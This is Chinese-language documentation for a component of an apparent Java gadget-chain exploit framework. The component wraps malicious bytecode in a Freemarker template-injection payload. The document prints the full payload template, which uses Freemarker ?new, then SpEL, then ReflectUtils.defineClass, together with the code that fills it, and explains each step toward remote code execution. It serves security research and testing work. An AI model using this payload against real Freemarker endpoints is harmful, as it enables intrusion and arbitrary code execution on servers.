- 类别:common 别名:— 优先级:未设置(null)
- 作者:—
- 依赖:
freemarker、SpEL(目标运行时需能加载org.springframework.expression.spel.standard.SpelExpressionParser与org.springframework.cglib.core.ReflectUtils)
一个「表达式转换」构件(Convert 类):把内层 gadget 产出的 byte[] 字节码封装成一段 Freemarker 模板字符串,该模板被 Freemarker 求值时会经由 SpEL 二次跳板,最终用 ReflectUtils.defineClass 在目标 JVM 中定义并加载恶意类。它本身不触发反序列化,而是「字节码 → Freemarker 表达式字符串」的适配层,供上游 Freemarker sink(如某些模板注入点或以 Freemarker 求值的 gadget)消费。
- 入口
tags:Freemarker_Expr、Expression—— 声明本构件产物是「Freemarker 表达式 / 通用表达式」,可被任何nextTags含Freemarker_Expr(或Expression)、即最终会对字符串做 Freemarker 求值的上游 gadget 承接。 - 衔接
nextTags:BytecodeConvertTag—— 本构件的内层(chain.doCreate产物)必须是一个BytecodeConvert类构件,产出待加载的byte[]字节码。 excludes:无。
核心是一段写死的 Freemarker 模板与 String.format 填充:
public static String FreemarkerTemplate =
"${\"freemarker.template.utility.ObjectConstructor\"?new()" +
"(\"org.springframework.expression.spel.standard.SpelExpressionParser\")" +
".parseExpression(\"T(org.springframework.cglib.core.ReflectUtils)" +
".defineClass('%s',T(org.springframework.util.Base64Utils).decodeFromString(\\\"%s\\\")," +
"new+javax.management.loading.MLet(new+java.net.URL[0]," +
"T(java.lang.Thread).currentThread().getContextClassLoader())).doInject()\").getValue()}";
private String getObject(byte[] bytecode, String className) {
String bytecodeB64 = Base64.encodeBase64String(bytecode);
return String.format(FreemarkerTemplate, className, bytecodeB64);
}逐段解释:
"...ObjectConstructor"?new()是 Freemarker 内置指令?new,允许以字符串名实例化实现了TemplateModel的类;freemarker.template.utility.ObjectConstructor恰是一个「按类名+构造参数任意实例化对象」的工具,等价于反射 new。这一步 new 出一个SpelExpressionParser。- 拿到 SpEL 解析器后调用
parseExpression(...).getValue(),把攻击逻辑转交给 SpEL,绕过 Freemarker 本身对方法调用的部分限制。 - SpEL 表达式里
T(ReflectUtils).defineClass('className', Base64Utils.decodeFromString(b64), new MLet(...)):先把 Base64 还原成字节码,再用 Spring cglib 的ReflectUtils.defineClass在传入的MLet类加载器上下文中defineClass出恶意类,doInject()触发其加载/静态初始化。MLet以当前线程上下文类加载器为父加载器构造,保证defineClass有可用的加载器。 %s两个占位分别填className(类名,由 context 提供)和bytecodeB64(Base64 后的字节码)。
invoke 负责取内层产物并注入类名:
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
Object bytecode = chain.doCreate(context); // 内层 BytecodeConvert 产出 byte[]
String className = context.getString(ContextTag.CLASS_NAME_KEY); // 上游约定的类名
return this.getObject((byte[]) bytecode, className);
}chain.doCreate 先驱动内层(BytecodeConvert → 字节码 sink)得到 byte[];className 从 GadgetContext 的 CLASS_NAME_KEY 读取,与字节码里真实类名保持一致。最终返回值是一段可被 Freemarker 求值的 字符串,交给外层 sink 落地。
反编译头部 Could not load ... org.apache.commons.codec.binary.Base64 属缺失第三方依赖的正常提示,不影响逻辑。
本类无 @Param。类名由链上下文 CLASS_NAME_KEY 注入,字节码由内层 BytecodeConvert 提供,模板 FreemarkerTemplate 为写死的 public static 字段。
- 参考:
https://www.cnblogs.com/CoLo/p/16706091.html。 - 依赖
freemarker且目标类路径存在 Spring(提供SpelExpressionParser、cglibReflectUtils、Base64Utils)。核心思路是「Freemarker?new实例化 → SpEL 二次执行 →ReflectUtils.defineClass加载字节码」,规避 Freemarker 直接调方法的限制。 - 与同族 FreemarkerConvert2 的区别:本类走 SpEL + Spring 定义类,FreemarkerConvert2 走
ScriptEngineManager的 JS 引擎定义类,依赖不同。 - 需要一个「会用 Freemarker 求值本字符串」的上游触发点才能形成完整 RCE。
无。自由构件,未直接出现在 51 条预设链中(需与合适的 Freemarker sink 手动组合)。
- 内层(
nextTags=BytecodeConvertTag):BytecodeConvert 及其变体,向内接字节码 sink(如Exec)。 - 同族表达式转换:FreemarkerConvert2、GroovyConvert、Groovy2Convert、JsConvert。